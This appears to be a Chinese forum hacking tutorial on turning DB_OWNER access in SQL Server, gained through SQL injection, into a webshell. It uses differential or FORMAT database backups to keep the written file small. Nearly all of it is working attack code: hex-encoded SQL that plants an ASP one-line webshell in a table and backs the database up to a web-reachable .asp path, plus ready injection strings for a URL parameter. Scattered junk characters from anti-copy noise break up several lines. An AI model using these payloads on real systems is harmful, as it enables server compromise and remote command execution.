DB_OWNER权限得到webshell的改进办法

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DB_OWNER权限得到webshell的两点改进:
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减少备份文件大小，得到可执行的webshell成功率提高不少
一利用差异备份
加一个参数WITH DIFFERENTIAL

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0 T6 M$ f% ?7 G( {" d declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
( L* |' B* s; \5 Bdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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/ N& X7 A9 b, ~9 M二利用完全FORMAT
加一个参数WITH FROMAT
. A9 Z6 @: q& `2 V. K/ C有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
! G6 R+ d4 q! h# Tinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
( W% U; ~# `, ]5 T1 U- odeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

. _7 B2 c( a1 t+ V8 F* ^& |2 H# D总的来说就是那么简单几句,下面以备份数据库model为例子
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id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

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. q# a7 \) H9 y# x) y id=1;backup database model to disk='你的路径‘ with differential,format;--